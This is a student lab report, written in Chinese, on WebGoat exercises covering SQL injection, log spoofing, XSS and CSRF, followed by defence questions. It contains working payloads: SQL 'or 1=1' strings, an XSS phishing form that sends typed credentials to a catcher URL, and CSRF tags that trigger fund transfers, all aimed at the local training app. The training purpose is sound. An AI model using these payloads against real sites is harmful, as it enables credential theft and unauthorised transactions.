目录
一、实践目标
二、实践原理
三、实践过程
四、思考题
五、实践总结
一、实践目标
- Webgoat实践下相关实验
- 理解常用网络攻击技术的基本原理
二、实践原理
1.SQL注入攻击
SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2.XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
3.CSRF攻击
CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
三、实践过程
(一)WebGoat安装
- 下载【Java -jar webgoat-container-7.0.1-war-exec.jar】文件。
- 将Jar包移动至文件目录下输入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat。
- 浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面。输入用户名密码登录进去,左侧栏显示课程。
(二)SQL注入攻击
1、Command Injection(命令注入)
- 目标 能够在目标主机上执行任何系统命令
- 右键点击复选框选择 Inspect 审查网页元素对源代码 <option> 进行修改
- View 可以看到网络端口使用情况和IP地址
2.Numeric SQL Injection(数字型SQL注入)
- 原理 当输入的参数为整型如ID、年龄、页码等时,若存在注入漏洞,认为是数字型注入攻击。
- 目标 在页面尝试插入能够使所有天气数据显示出了的SQL字符串。
- 方法 用或和【1=1】来使语句永真。单击右键选择【inspect Elemnet】,在<option>的城市编号【value="101】后面加【or 1=1】。
- 点击【Go!】显示所有城市的天气。
3、Log Spoofing(日志欺骗)
- 原理 在日志文件中插入脚本,清除在日志中的痕迹。
- 目标 用户名为admin的用户在日志中显示成功登录。
- 方法 利用回车【%0d】和换行符【%0a】使用户名在日志中显示为两行。
- 【User Name】中填入webgoat%0d%0aLogin Succeeded for username: mark4321
- 点击Login 登录。
4、String SQL Injection(字符串型注入)
- 原理 当SQL注入输入的参数为字符串时称为字符串型注入。
- 目标 尝试插入一个SQL字符串,以显示所有信用卡号码。
- 方法 【'】提前闭合,【1=1】永真和【--】注释。在用户名处输入【mark' or 1=1--】,点击【Go!】。
(三)XSS攻击
1.Phishing with XSS(XSS钓鱼)
- 原理 当用户输入非法HTTP响应时,实现钓鱼工具或向某些官方页面中增加内容。
- 目标 创建一个 form,要求填写用户名和密码。将数据提交到【http://localhost:8080/WebGoat/catcher PROPERTY=yes&user=catcheUserName&password=catchedPasswordNam
】。
- 方法 在【Search】框输入:
</form> <script> function hack() { XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script> <form name="phish"><br><br><HR><H3> This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"> <br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
点击【Search】。输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat。
2.Stored XSS Attacks(存储型XSS攻击)
- 原理 把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站。
- 目标 写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 方法在【Title】中任意输入,【Message】输入<script>alert("You've been attacked by 4321qingfeng.");</script>,点击【Submit】提交。
3.Reflected XSS Attacks(反射型XSS攻击)
- 原理 使用攻击脚本创建一个URL,通过发布到另一个网站、通过电子邮件或其他方式让受害者点击它,当读取到该URL的时候就会被攻击。
- 目标 攻击当前的结账页面。
- 方法 序列码输入<script>alert("I'm qingfeng~");</script>点击【Purchase】。显示内容为script脚本指定的警告框。
(四)CSRF攻击
1、Cross Site Request Forgery(CSRF)
- 原理 跨站请求伪造是一种让受害者加载一个包含网页的图片,如<img src="http://www.myblank .com/me?transferFunds=5000&to=12345/">当浏览器视图呈现此网页时,将使用指定的参数向【www.myblank.com】的me发出请求,但实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此如果用户对站点进行了身份认证,并且拥有永久或当前会话cookie,那么站点将无法与将其与合法的用户请求缺乏开,通过这种方式,攻击者可以让受害者执行他们本不打算执行的操作,如购买物品,或者网站提供的其他功能。
- 目标 向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。
- 方法 网页提示【Parameters】中的【src】为323,【menu】为900
在【Message】中输入
<img src="http://localhost:8080/WebGoat/attack? Screen=323&menu=900&transferFunds=4321 width="1" height="1"/>
- &transferFunds=4321 即转走的受害人的金额。
- 点击 Submit 在Message List中生成以Title命名的链接,点击显示当前页面并下载这个消息转走用户的4321元,实现CSRF攻击。
2、CSRF Prompt By-Pass
- 查看确定【scr】和【menu】。
- 在消息栏中输入
<iframe src="attack?Screen=321&menu=900&transferFunds=4321"> </iframe> <iframe src="attack?Screen=321&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击 Submit 生成以【Title】命名的链接,点击链接攻击成功。
四、思考题
1.SQL注入攻击原理?如何防御?
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
防御:
1.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
2.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
3.过滤用户输入的检查用户输入的内容中是否有非法内容。
2.XSS攻击的原理?如何防御?
原理:跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。需要向web页面注入恶意代码,这些恶意代码能够被浏览器成功的执行。
防御:
1.在表单提交或者url参数传递前,对需要的参数进行过滤。
2.过滤用户输入的检查用户输入的内容中是否有非法内容。如<>、”、 ‘;等,严格控制输出。
3.CSRF攻击原理?如何防御?
原理:CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
防御:验证Http Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。
五、实践总结
1、遇到的问题
启动WebGoat登录后左侧栏没有相应的课程
2、实践心得
这次实验用webgoat尝试了XSS攻击、CSRF攻击、SQL注入攻击,过程比较简单,通过本次实验能够感受到这几类攻击的危害性,让我明白了我们一定不要乱点垃圾邮件里的链接、陌生人发的不明链接,在网上购物的时候也要注意保护隐私,否则可能会遭到不法分子的利用,受到财产损失。